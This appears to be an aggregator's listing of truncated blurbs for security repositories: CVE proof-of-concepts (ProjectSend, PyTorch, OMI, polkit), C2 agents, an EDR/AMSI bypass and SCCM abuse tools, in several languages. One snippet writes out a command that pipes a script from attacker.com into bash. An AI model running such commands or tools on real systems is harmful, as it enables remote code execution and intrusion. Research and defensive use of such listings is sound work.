CVE-2024-11680

ProjectSend CVE-2024-11680 शोषण यह CVE-2024-11680 के लिए एक प्रूफ-ऑफ-कॉन्सेप्ट शोषण है, जो ProjectSend में एक अप्रमाणित कॉन्फ़िगरेशन संशोधन और वेब शेल अपलोड कमजोरी है। विवरण यह शोषण ProjectSend में कई कमजोरियों का लाभ उठाता है: CSRF टोकन बायपास जो कॉन्फ़िगरेशन परिवर्तनों की अनुमति देता है असुरक्ष...

Web-Security-Learning

Web-Security-Learning Repository: https://github.com/CHYbeta/Web-Security-Learning Knowledge Planet Vulnerability Attack and Defense: https://t.zsxq.com/mm2zBeq Table of Contents: Web-Security-Learning Web Security SQL Injection MySQL MSSQL PostgreSQL MongoDB Techniques Tools XSS CSRF Other...

CVE-2025-32434-exploit

अवलोकन यह एक्सप्लॉइट PyTorch संस्करण /tmp/whoami" Test the exploit loads the model to verify RCE python3 exploit.py -c "id" -t Advanced exploit variant with alternative bypass python3 exploit.py --advanced -c "curl -s http://attacker.com/shell.sh | bash" -t Save to custom filename python3...

CVE-2020-10135-BIAS

CVE-2020-10135-BIAS CVE 2020-10135 المعروف أيضًا باسم BIAS هجوم انتحال البلوتوث يبدو أنه بعد فترة وتجاوز بعض العقبات تمكنت من تنفيذ BIAS هجوم انتحال البلوتوث CVE 2020-10135. انتحلت اتصال Samsung S3 Neo+ مع مضيف Linux. شيء رائع. شكرًا لـ Internalblue و BIAS PoCs. من وجهة نظري، اكتشفت أن كل ما تحتا...

CVE-2021-38647-POC-and-Demo-environment

विवरण OMIGod - CVE-2021-38647 Open Management Infrastructure OMI, पूर्व में NanoWBEM Microsoft और The Open Group द्वारा विकसित एक ओपन सोर्स कॉमन इंटरफेस मॉडल CMI प्रबंधन सर्वर है। OMI एक सॉफ्टवेयर एजेंट है जो अधिकांश Azure Linux VMs पर पाया जाता है, फिर भी कई लोगों को इसकी उपस्थिति के बारे में पत...

Nimplant

Deprecated This agent is deprecated as it's only compatible with Mythic 2.1 and the main developer is not able to continue working on it. If somebody wants to make the updates in the python side of things, not nim code to the latest Mythic, we can mark it as not deprecated anymore. Nimplant is a...

PowerShdll

PowerShdll Run PowerShell with dlls only. Does not require access to powershell.exe as it uses powershell automation dlls. PowerShdll can be run with: rundll32.exe, installutil.exe, regsvcs.exe, regasm.exe, regsvr32.exe or as a standalone executable. dll mode: Rundll32: root@kitploit: Usage:...

CVE-2022-41828

CVE-2022-41828 Amazon AWS Redshift JDBC Driver दूरस्थ कोड निष्पादन RCE Amazon Redshift के लिए JDBC Driver एक टाइप 4 JDBC ड्राइवर है जो जावा प्लेटफॉर्म, एंटरप्राइज़ एडिशन में उपलब्ध मानक JDBC एप्लीकेशन प्रोग्राम इंटरफेस APIs के माध्यम से डेटाबेस कनेक्टिविटी प्रदान करता है। यह ड्राइवर किसी भी जावा...

CVE-2021-4034

CVE-2021-4034 One day for the polkit privilege escalation exploit Just execute make, ./cve-2021-4034 and enjoy your root shell. The original advisory by the real authors is here PoC If the exploit is working you'll get a root shell immediately: root@kitploit: vagrant@ubuntu-impish:/CVE-2021-4034$...

CVE-2006-3392

CVE-2006-3392 Description Webmin before 1.290 and Usermin before 1.220 calls the simplifypath function before decoding HTML, which allows remote attackers to read arbitrary files, as demonstrated using "..%01" sequences, which bypass the removal of "../" sequences before bytes such as "%01" are...

reachability

-- START DISCLAIMER -- USE AT OWN RISK -- IN NO WAY AM I RESPONSIBLE FOR ANY DAMAGES INCURRED -- IF YOU DON'T HAVE EXPLICT PERMISSION BY THE NETWORK OWNER DO NOT AND I REPEAT DO NOT LAUNCH THIS THIS IS PYTHON WRAPPED AROUND MASSCAN https://github.com/robertdavidgraham/masscan -- END DISCLAIMER--...

MalSCCM

MalSCCM This tool allows you to abuse local or remote SCCM servers to deploy malicious applications to hosts they manage. To use this tool your current process must have admin rights over the SCCM server. Typically deployments of SCCM will either have the management server and the primary server ...

ransomware-simulator

QuickBuck - Ransomware Simulator root@kitploit: / \ / / / / / / // // // // // // '// |/ // // // '/ \\,/// ///\// ,/ ///\ Nextron Systems GmbH The goal of this repository is to provide a simple, harmless way to check your AV's protection on ransomware. This tool simulates typical ransomware...

ipatool

IPATool ipatool is a command line tool that allows you to search for iOS, iPadOS, tvOS, and visionOS apps on the App Store and download a copy of the app package, known as an ipa file. Requirements Installation Manual Package Manager macOS Usage Compiling License Releases FAQ Requirements Support...

frelatage

pip3 install frelatage The Python Fuzzer that the world deserves Installation | How it works | Features | Use Frelatage | Configuration Frelatage is a coverage-based Python fuzzing library which can be used to fuzz python code. The development of Frelatage was inspired by various other fuzzers,...

beanshooter

beanshooter beanshooter est un outil d'énumération et d'attaque JMX , qui aide à identifier les vulnérabilités courantes sur les points d'accès JMX. https://user-images.githubusercontent.com/49147108/183278179-4a5566a7-5af8-4ce8-a73d-1016876a36d5.mp4 Installation beanshooter est un projet maven e...

ios-malicious-bithunter

iOS Malicious Bit Hunter Abstract iOS Malicious Bit Hunter is a malicious plug-in detection engine for iOS applications. It can analyze the head of the macho file of the injected dylib dynamic library based on runtime, and can perform behavior analysis through interface input characteristics to...

ios-malicious-bithunter

iOS Malicious Bit Hunter सारांश iOS Malicious Bit Hunter iOS अनुप्रयोगों के लिए एक दुर्भावनापूर्ण प्लग-इन पहचान इंजन है। यह रनटाइम के आधार पर इंजेक्टेड dylib डायनामिक लाइब्रेरी के माछो फ़ाइल के हेड का विश्लेषण कर सकता है, और इंटरफ़ेस इनपुट विशेषताओं के माध्यम से व्यवहार विश्लेषण करके डायनामिक...

SharpBlock

SharpBlock A method of bypassing EDR's active projection DLL's by preventing entry point execution. Features Blocks EDR DLL entry point execution, which prevents EDR hooks from being placed. Patchless AMSI bypass that is undetectable from scanners looking for Amsi.dll code patches at runtime. Hos...

PiSavar

PiSavar - Detects PineAP module and starts deauthentication attack for fake access points - WiFi Pineapple Activities Detection About Project The goal of this project is to find out the fake access points opened by the WiFi pineapple device using the PineAP module and to prevent clients from bein...